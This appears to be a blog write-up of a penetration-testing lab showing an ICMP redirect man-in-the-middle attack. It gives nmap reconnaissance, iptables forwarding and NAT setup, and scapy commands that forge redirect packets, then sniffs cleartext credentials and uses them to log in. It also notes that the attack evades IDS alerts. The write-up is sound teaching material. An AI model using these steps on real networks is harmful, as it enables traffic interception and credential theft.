This is an interesting lab. We’re told a few things up front, namely that to use a man-in-the-middle attack but that the typical MITM method, ARP spoofing doesn’t work. Why, probably because MAC-IP mappings have been hardcoded in the ARP tables.
At the outset we are given this network layout
Our IP: 10.100.13.20
Given the above, it seems the only other MITM attack which is not ARP spoofing is the ICMP redirect attack, a more sophisticated attack which works very different from spoofing MAC addresses with gratuitous ARP broadcasts.
Now what are ICMP redirect attacks? You can read more about the background here, or pages 13 and 29-30 of this Master’s thesis on MITM attacks. Unlike ARP spoofing where the attacker pretends to be the target host in the hopes of getting frames re-directed to them on the LAN, ICMP redirect attacks modify the routing table of victim hosts, by misleading victims that they provide a better metric to the target destination outside the LAN. This redirection causes the victim hosts to update their routing table and insert “better priority” gateway alternatives through the attacker’s host instead to reach the destination network.
In a sense, ICMP redirect attacks is similar to BGP hijacking where Internet traffic is redirected through a different AS at the enterprise ISP level by rogue BGP routers falsely advertising a better metric route for destination remote networks.
To give an example, assume that a victim is trying to reach Google’s DNS at 8.8.8.8 Since this is outside its LAN the traffic has to pass through the gateway define for its LAN, say assumed to be 192.168.1.1/24 If an attacker manages to compromise the 192.168.1.0/24 subnet with a rogue host at 192.168.1.254 and pulls off the redirect attack successfully for 8.8.8.8, any traffic from 192.168.1.1 destined for 8.8.8.8 will instead head towards 192.168.1.254 since its ostensibly a “better” gateway than 192.168.1.1 This difference is reflected only at layer 2, where the MAC address of the fake gateway is used instead of the real one.
To perform an ICMP redirect attack we need at least 3 IP addresses (excluding our IP) namely the
- Victim host
- Gateway
- Destination IP for the victim’s traffic
Start with a ping scan on the local LAN
root@Kali:~/PTP/2.5_Exploitation/Lab 28# nmap -sn -n 10.100.13.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-15 00:03 +08 Nmap scan report for 10.100.13.1 Host is up (0.091s latency). MAC Address: 00:50:56:A1:0B:6E (VMware) Nmap scan report for 10.100.13.126 Host is up (0.25s latency). MAC Address: 00:50:56:A1:FC:71 (VMware) Nmap scan report for 10.100.13.20 Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 17.60 seconds
Then a service scan on the alive hosts
root@Kali:~/PTP/2.5_Exploitation/Lab 28# nmap -Pn -sV -n 10.100.13.1,126 --script=smb-os-discovery.nse Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-15 00:08 +08 Nmap scan report for 10.100.13.1 Host is up (0.24s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.4p1_hpn13v11 (FreeBSD 20100308; protocol 2.0) 53/tcp open domain dnsmasq 2.70 80/tcp open http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 MAC Address: 00:50:56:A1:0B:6E (VMware) Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd Nmap scan report for 10.100.13.126 Host is up (0.25s latency). Not shown: 990 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ms-wbt-server Microsoft Terminal Service 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC MAC Address: 00:50:56:A1:FC:71 (VMware) Service Info: Host: ELS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: els-PC | NetBIOS computer name: ELS-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2019-05-14T09:10:18-07:00 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 2 IP addresses (2 hosts up) scanned in 124.76 seconds
Right. At this point we have gotten 1, 2 locked down. We still need to know what the destination host is, specifically who is 10.100.13.126 contacting? It took me really long to figure this out, but if you check the routing table for Kali on the LAN it shows a remote network.
root@Kali:~# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.92.2 0.0.0.0 UG 100 0 0 eth0
10.23.56.0 10.100.13.1 255.255.255.0 UG 0 0 0 tap0
10.100.13.0 0.0.0.0 255.255.255.0 U 0 0 0 tap0
192.168.92.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
We’ll ignore the eth0 interface because that is my home network. So let’s do a ping scan of 10.23.56.0/24
root@Kali:~# nmap -sn -n 10.23.56.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-19 22:27 +08 Nmap scan report for 10.23.56.1 Host is up (0.44s latency). Nmap scan report for 10.23.56.100 Host is up (0.25s latency). Nmap done: 256 IP addresses (2 hosts up) scanned in 26.60 seconds
Now at this point I should have done a service scan for both hosts 1 and 100, but I assumed it was common knowledge to have 1 as your gateway, so I just scanned 100 alone.
root@Kali:~# nmap -Pn -n -sV 10.23.56.100 Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-19 22:29 +08 Nmap scan report for 10.23.56.100 Host is up (0.25s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.79 seconds
Right. So we have a Web server running. Let’s see what the landing page looks like.
At this point we know enough of the network to fill in the IP addresses. It looks like this:
Now we know that we should try to sniff the traffic using Wireshark, look for passwords transmitted in the clear (SSL not enabled) and attempt to login here with them. Before we can use scapy we should configure some settings to enable ipv4 forwarding, and NAT on Kali with iptables masquerade.
root@Kali:~/PTP/2.5_Exploitation/Lab 28# echo 1 > /proc/sys/net/ipv4/ip_forward root@Kali:~/PTP/2.5_Exploitation/Lab 28# iptables -t nat -A POSTROUTING -s 10.100.13.0/255.255.255.0 -o tap0 -j MASQUERADE
We can verify that NAT is enabled by checking iptables
root@Kali:~/PTP/2.5_Exploitation/Lab 28# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
MASQUERADE all -- 10.100.13.0/24 anywhere
Now we can run scapy. This nifty python utility allows us to craft entire IP packets from scratch, where we can specify the type, content instead of just the IP’s and MAC addresses the typical Linux utility lets us do.
root@Kali:~/PTP/2.5_Exploitation/Lab 28# scapy Bad key "ytick.alignment" on line 268 in /usr/share/matplotlib/mpl-data/stylelib/classic.mplstyle. You probably need to get an updated matplotlibrc file from http://github.com/matplotlib/matplotlib/blob/master/matplotlibrc.template or from the matplotlib source distribution Bad key "lines.markeredgecolor" on line 12 in /usr/share/matplotlib/mpl-data/stylelib/classic.mplstyle. You probably need to get an updated matplotlibrc file from http://github.com/matplotlib/matplotlib/blob/master/matplotlibrc.template or from the matplotlib source distribution Bad key "xtick.alignment" on line 250 in /usr/share/matplotlib/mpl-data/stylelib/classic.mplstyle. You probably need to get an updated matplotlibrc file from http://github.com/matplotlib/matplotlib/blob/master/matplotlibrc.template or from the matplotlib source distribution Bad key "lines.markerfacecolor" on line 11 in /usr/share/matplotlib/mpl-data/stylelib/classic.mplstyle. You probably need to get an updated matplotlibrc file from http://github.com/matplotlib/matplotlib/blob/master/matplotlibrc.template or from the matplotlib source distribution WARNING: No route found for IPv6 destination :: (no default route?) INFO: Can't import python ecdsa lib. Disabled certificate manipulation tools Welcome to Scapy (2.3.3)
Now you may see some errors as above, but it doesn’t seem to affect the attack. We craft the ICMP redirect packet as follows.
>>> ip=IP() >>> ip.src='10.100.13.1' >>> ip.dst='10.100.13.126' >>> ip.display bound method IP.display of IP src=10.100.13.1 dst=10.100.13.126 |>> >>> icmp=ICMP() >>> icmp.type=5 >>> icmp.code=1 >>> icmp.gw='10.100.13.20' >>> icmp.display bound method ICMP.display of > >>> ip2=IP() >>> ip2.src='10.100.13.126' >>> ip2.dst='10.23.56.100' >>> ip2.display bound method IP.display of IP src=10.100.13.126 dst=10.23.56.100 |>>
Note that what the above is doing is to create an IP packet from source 10.100.13.1 (gateway), destination 10.100.13.126 (victim) containing and ICMP redirect instruction (type 5) that an alternate (fake) gateway exists at 10.100.13.20 (Kali) for destination 10.23.56.100. Now send the packets out
>>> send(ip/icmp/ip2/UDP()) . Sent 1 packets. >>> send(ip/icmp/ip2/UDP()) . Sent 1 packets. >>> send(ip/icmp/ip2/UDP()) . Sent 1 packets. >>> send(ip/icmp/ip2/UDP()) . Sent 1 packets.
And check Wireshark for the result
In between the ICMP redirect we see that the remote Web server has started to respond with HTTP replies. Let’s look closer at the ICMP redirect packet.
The circled fields above were crafted using scapy. Examining the captured packets, what happened it seem was that every request from the victim to the Web server was duplicated by Kali and every reply from Web server was sent to both the victim and Kali. This isn’t the case, and a more detailed explanation of this observation is found below. We can search for transmitted credentials in clear-text by searching TCP streams.
After sifting through a few TCP streams I found the creds above. Trying them out on the Web server results in a successful login 🙂
Detailed explanation of ICMP direct attack
It’s worth explaining in detail how the attack works at the layer 2 level and why the iptables MASQUERADE configuration is necessary. I had mentioned above that the Wireshark logs (captured from Kali) show “duplicate” packets going from the victim host and the Web server and also from Kali to the Web server, while similar “duplicate” packets are found in the return direction. As you can guess, these packets aren’t actually duplicated.
All packets below are captured from the perspective of the attacker (Kali).
Here are the MAC addresses of the three hosts in the LAN
- Victim (10.100.13.126) 00:50:56:a1:8d:6f
- Kali (10.100.13.20) 86:2d:60:20:ed:09
- Actual gateway (10.100.13.1) 00:50:56:a1:d4:7f
I’ve highlighted the last 3 octets because I’ll be referring to them. Refer to below, note that after the 1st spoofed ICMP redirect packet is sent out, a1:8d:6f (victim) sends out an ARP broadcast requesting the MAC of 10.100.13.20 (Kali). This means the ICMP redirect attack has successfully tricked the victim into thinking the Kali host has a better metric route to 10.23.56.100 (Web server).
The Kali attacker then replies with its MAC (20:ed:09). After this exchange, we start to see seemingly “duplicate” packets from the victim to the Web server and Kali to the webserver. Take packets 7, 8 above seemingly duplicates. Examining the Ethernet frame source/destination MACs we find this for 7 (from victim to Web server)
The frame header displays a MAC source of a1:8d:6f (victim) and destination of 20:ed:09 (Kali), while the IP source/destination addresses reflect the correct source/dest IPs for victim/Web server. The victim is unknowingly sending their packets to the Kali host pretending to be a legit gateway to the Web server.
Packet 8 shows how the Kali attacker with MASQUERADE configuration of iptables does performs the NAT before sending it to the Web server.
In case unclear, the source MAC is Kali, destination MAC is the actual gateway. The source IP has been changed from 10.100.13.126 to 10.100.13.20, preserving the destination IP. This is essentially NAT in action. The real gateway never receives anything from the victim host, only from Kali.
What about the replies from the Web server to the victim? The same action happens but in reverse. Let’s look at “duplicate” packets 9, 10. For packet 9:
Source MAC: Actual gateway. Destination MAC: Kali
Source IP: Web server. Destination IP: Kali
Packet 10 shows largely the same packet, except the destination IP has been changed (NAT) and the frame headers reflect the MITM path between Kali and victim.
Source MAC: Kali Destination MAC: Victim
Source IP: Web server Destination IP: Victim
There we have it. How the ICMP redirect attack (which really should be called the secret NAT attack) works in detail. From the victim’s viewpoint the source/destination IPs are correct and only a close examination of the MAC addresses reveal anything suspect, that an unknown host with unfamiliar MAC is the recipient/source of all its communication with the Web server.
It’s different from ARP spoofing in the sense that the Kali host never pretends to be the actual gateway 10.100.13.1, but rather false claims it has a better metric route to the Web server via itself 10.100.13.20 As a consequence the IDS logs doesn’t get filled up with suspicious gratuitous ARP broadcasts of the attacker pretending to be the gateway.
References
http://infosec.vishalmishra.in/2014/02/routing-table-poisoning.html
https://askubuntu.com/questions/466445/what-is-masquerade-in-the-context-of-iptables
Ivan's IT learning blog 